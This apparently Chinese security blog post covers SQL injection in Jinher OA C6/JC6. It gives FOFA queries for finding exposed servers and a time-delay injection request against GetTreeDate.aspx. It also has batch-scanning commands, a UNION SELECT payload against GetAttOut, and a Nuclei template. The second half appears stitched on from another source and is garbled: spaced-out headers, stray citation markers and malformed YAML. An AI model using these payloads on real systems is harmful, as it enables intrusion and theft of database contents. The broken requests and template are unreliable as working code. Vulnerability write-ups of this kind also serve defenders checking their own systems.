金和OA SQL注入漏洞

金和OAC6系统SQL注入漏洞及其检测方法

一、漏洞描述

金和OA协同办公管理系统C6软件,为北京金和网络股份有限公司 开发系统,贴合企事业单位的实际需求,实行通用化、标准化、智能化、人性化的产品设计,充分体现企事业单位规范管理、提高办公效率的核心思想,为用户提供一整套标准的办公自动化解决方案,以帮助企事业单位迅速建立便捷规范的办公环境。

金和OA GetTreeDate.aspx接口存在SQL注入漏洞,攻击者可利用该漏洞执行任意SQL语句,获取系统数据库敏感信息。

二、网络搜索引擎搜索

fofa查询

app="金和网络-金和OA"

三、漏洞复现

时间延迟注入POC (延迟 5秒)

GET /C6/Jhsoft.Web.users/GetTreeDate.aspx/?id=1;WAITFOR+DELAY+%270:0:5%27+--%20and%201=1 HTTP/1.1
Host: IP:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: ASP.NET_SessionId=4nichsprxl5ruhtbk5lywfdb
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

四、漏洞检测

单个检测

python jinherSQLCheck.py -u url[例 http://127.0.0.1:8080]

批量检测

python jinherSQLCheck.py -f filename

关注微信公众号 网络安全透视镜 回复 20231020 获取批量检测脚本

金和jc6系统GetAttOut SQL注入漏洞复现方法如下: ### 网络测绘 可使用如下关键字进行网络测绘:`app="金和网络 - 金和OA" || body="JHSoft.Web.AddMenu" || body="/jc6/platform/"` [^2]。 ### 指纹识别 通过`app=“Jinher - OA”`进行指纹识别 [^3]。 ### 漏洞请求复现 进行POST请求,示例如下: ```plaintext POST /jc6/JHSoft.WCF/TEST/GetAttOut HTTP/1.1 Host: your_ip User - Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q = 0.9,image/avif,image/webp,image/apng,*/*;q = 0.8,application/signed - exchange;v = b3;q = 0.7 Accept - Encoding: gzip, deflate Accept - Language: zh - CN,zh;q = 0.9,en;q = 0.8 Connection: close Content - Length: 149 1' union select null,CHAR(118)+CHAR(117)+CHAR(108)+ISNULL(CAST(222*3 AS NVARCHAR(4000)),CHAR(32))+CHAR(118)+CHAR(117)+CHAR(108),null,null,null,null-- ``` 此请求中插入了查询语句,可用于验证是否存在SQL注入漏洞 [^3]。 ### 使用Nuclei POC验证 可使用以下Nuclei POC进行验证: ```yaml id: jc6_GetAttOut_SQLInjection info: name: 金和 jc6 GetAttOut SQL注入漏洞 author: 0xOctober severity: high requests: - raw: - | POST /jc6/JHSoft.WCF/TEST/GetAttOut HTTP/1.1 Host: {{Hostname}} User - Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q = 0.9,image/avif,image/webp,image/apng,*/*;q = 0.8,application/signed - exchange;v = b3;q = 0.7 Accept - Encoding: gzip, deflate Accept - Language: zh - CN,zh;q = 0.9 Connection: close 1' union select null,null,@@version,null,null,null-- matchers - condition: and matchers: - type: word part: body words: - 'Microsoft SQL Server' condition: and - type: status status: - 200 ``` 若响应体中包含`Microsoft SQL Server`且状态码为200,则说明存在SQL注入漏洞 [^4]。 ### sqlmap验证 可使用sqlmap工具进一步验证该漏洞,但引用中未给出具体的sqlmap使用命令 [^3]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值